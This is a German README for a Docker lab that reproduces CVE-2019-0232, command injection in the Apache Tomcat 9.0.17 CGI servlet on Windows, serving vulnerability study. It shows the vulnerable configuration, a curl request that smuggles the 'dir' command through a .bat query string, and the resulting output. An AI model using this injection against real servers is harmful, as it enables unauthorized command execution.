
Docker-basierte Laborumgebung zur Reproduktion von CVE-2019-0232, einer Remote-Code-Ausführung-Sicherheitslücke im Apache Tomcat CGI Servlet unter Windows, mit Ausbeutungsbeispielen.
Dieses Repository stellt eine Docker-basierte Laborumgebung zur Reproduktion der CVE-2019-0232-Sicherheitslücke in Apache Tomcat 9.0.17 unter Windows bereit.
CVE-2019-0232 ist eine Sicherheitslücke zur Remote-Codeausführung im Apache Tomcat CGI Servlet unter Windows. Das Problem entsteht durch eine unsachgemäße Behandlung von Kommandozeilenargumenten, wenn der Parameter enableCmdLineArguments auf true gesetzt ist. Ein Angreifer kann über die Abfragezeichenfolge beliebige Argumente an das CGI-Skript übergeben, was zur Ausführung von Systembefehlen führt.
enableCmdLineArguments=true in der CGI-Servlet-Konfigurationtomcat-cgi-lab
├── docker-compose.yml
├── Dockerfile
└── tomcat
├── apache-tomcat-9.0.17-windows-x64.zip
└── apache-tomcat-9.0.17
├── conf
│ └── context.xml ← (privileged="true")
└── webapps
└── ROOT
└── WEB-INF
├── web.xml ← (CGI-Konfiguration)
└── cgi-bin
└── test.bat ← (.bat-Skript)
privileged="true", um der Webanwendung die Nutzung des CGI-Servlets zu erlauben.enableCmdLineArguments=true und ordnet es /cgi-bin/* zu.docker-compose build --no-cache
docker-compose up -d
curl -i "http://localhost:8080/cgi-bin/test.bat?&dir"
Welcome to CGI Test Page
Volume in drive C has no label.
Volume Serial Number is 3E70-7C38
Directory of C:\apache-tomcat-9.0.17\webapps\ROOT\WEB-INF\cgi-bin
07/12/2026 11:45 AM <DIR> .
07/12/2026 11:45 AM <DIR> ..
07/12/2026 12:25 PM 78 test.bat
1 File(s) 78 bytes
2 Dir(s) 136,027,971,584 bytes free